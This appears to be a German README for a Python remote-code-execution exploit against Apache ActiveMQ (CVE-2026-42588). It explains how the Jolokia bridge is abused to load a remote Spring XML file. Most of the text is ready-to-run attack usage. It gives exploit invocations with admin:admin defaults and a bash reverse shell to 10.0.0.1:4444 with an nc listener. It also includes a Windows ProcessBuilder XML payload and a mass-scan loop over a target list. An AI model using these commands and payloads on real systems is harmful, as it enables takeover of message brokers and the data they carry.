
Python-basierter RCE-Exploit für CVE-2026-42588, der Apache ActiveMQ Jolokia angreift. Bietet einen Nur-Prüf-Modus, die Erzeugung bösartiger XML-Dateien sowie Unterstützung für Reverse Shell, OOB- und dateibasierte Verifizierung.
Schweregrad: 🔴 Hoch (CVSS 4.0: 8.1)
Schwachstellentyp: CWE-94 — Code Injection
Betroffene Versionen: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ Version < 6.2.6
Voraussetzung: Erforderlich sind Web Console Anmeldedaten (Standardadmin:admin)
CVE-2026-42588 ist eine Sicherheitslücke in Apache ActiveMQ, die eine Remote Code Execution (RCE) nach Authentifizierung ermöglicht.
Mit gültigen Web Console Anmeldedaten kann ein Angreifer über die Jolokia JMX-HTTP Bridge (/api/jolokia/) die Methode BrokerService.addNetworkConnector(String) aufrufen, eine präparierte masterslave:// Discovery-URI übergeben, das xbean:-Protokoll nutzen, um eine entfernte Spring XML Konfigurationsdatei zu laden, und schließlich beliebige Systembefehle in der JVM des ActiveMQ Brokers ausführen.
/api/jolokia/ (Jolokia JMX-HTTP Bridge)
│
▼
BrokerService.addNetworkConnector(String)
│
▼
masterslave://?brokerConfig=xbean:http://attacker/malicious.xml
│
▼
XBeanBrokerFactory → ResourceXmlApplicationContext
│
▼
Spring instanziiert alle Singleton-Beans vor → Runtime.exec() / ProcessBuilder
│
▼
🚨 Remote Code Execution (RCE)
| Schritt | Beschreibung |
|---|---|
| Jolokia Angriffsfläche | Die ActiveMQ Web Console legt standardmäßig /api/jolokia/ offen und erlaubt exec-Operationen auf org.apache.activemq:* MBeans |
| Gefährliche Methode | BrokerService.addNetworkConnector(String) akzeptiert eine Discovery-URI und parst sie |
| URI Auslösekette | Der brokerConfig-Parameter des masterslave://-Protokolls ist kontrollierbar und löst zusammen mit dem xbean:-Schema das Laden des Spring-Kontexts aus |
| RCE Auslösepunkt | XBeanBrokerFactory verwendet ResourceXmlApplicationContext, um entferntes XML zu laden; Spring instanziiert alle Singleton-Beans bereits vor der Konfigurationsvalidierung |
| Versionbereich | Status |
|---|---|
| Apache ActiveMQ < 5.19.7 | ❌ Betroffen |
| 6.0.0 ≤ Apache ActiveMQ < 6.2.6 | ❌ Betroffen |
| Apache ActiveMQ ≥ 5.19.7 | ✅ Behoben |
| Apache ActiveMQ ≥ 6.2.6 | ✅ Behoben |
/api/jolokia/-Interface muss für den Angreifer erreichbar sein (Standardport 8161)admin:admin).
├── CVE-2026-42588_EXP.py # Exploit-Skript (Kern)
├── malicious.xml # Bösartige Spring XML Vorlage
├── requirements.txt # Python-Abhängigkeiten
└── README.md # Diese Datei
| Datei | Zweck |
|---|---|
CVE-2026-42588_EXP.py | Python-Exploit-Skript, unterstützt Erkennungsmodus (--check-only) und XML-Generierungsmodus (--gen-xml) |
malicious.xml | Bösartige Spring XML Konfigurationsvorlage, enthält zwei Nutzungsarten: Runtime.exec() und ProcessBuilder |
pip install -r requirements.txt
python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml
Starten Sie einen HTTP-Server auf dem Angreiferrechner:
python3 -m http.server 8080
# Mit Standard-Anmeldedaten admin/admin
python CVE-2026-42588_EXP.py \
-u http://192.168.1.100:8161 \
-x http://your-attacker-ip:8080/malicious.xml
# Mit benutzerdefinierten Anmeldedaten
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-U myuser \
-P mypass \
-x http://your-attacker-ip:8080/malicious.xml
python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only
usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
[-x XML_URL] [--check-only] [--gen-xml]
[-c COMMAND] [--timeout TIMEOUT] [--no-verify]
Optionen:
-u, --url Ziel-URL von ActiveMQ (z.B. http://192.168.1.100:8161)
-U, --username Web Console Benutzername (Standard: admin)
-P, --password Web Console Passwort (Standard: admin)
-x, --xml-url Remote-URL der bösartigen Spring XML-Datei
--check-only Nur prüfen, ob das Jolokia-Interface erreichbar ist
--gen-xml Bösartige XML-Datei generieren und auf stdout ausgeben
-c, --command Auszuführender Befehl auf dem Ziel (Standard: touch /tmp/activemq_pwned)
--timeout Timeout für HTTP-Anfragen in Sekunden (Standard: 30)
--no-verify SSL-Zertifikatsprüfung deaktivieren
1. Bösartige XML-Datei auf dem Angreiferrechner generieren:
python CVE-2026-42588_EXP.py --gen-xml \
-c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
> reverse_shell.xml
2. XML hosten und Listener starten:
# Terminal 1: HTTP-Server
python3 -m http.server 8080
# Terminal 2: nc Listener
nc -lvnp 4444
3. Exploit auslösen:
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-x http://10.0.0.1:8080/reverse_shell.xml
1. Bösartige XML-Datei für Windows generieren:
Ändern Sie den Befehl für ProcessBuilder in malicious.xml auf:
<bean class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>whoami > C:\windows\temp\pwned.txt</value>
</list>
</constructor-arg>
</bean>
2. Hosten und ausführen:
python CVE-2026-42588_EXP.py \
-u http://windows-target:8161 \
-x http://attacker:8080/malicious_win.xml
# Massenerkennung
for ip in $(cat targets.txt); do
echo "=== Teste $ip ==="
python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done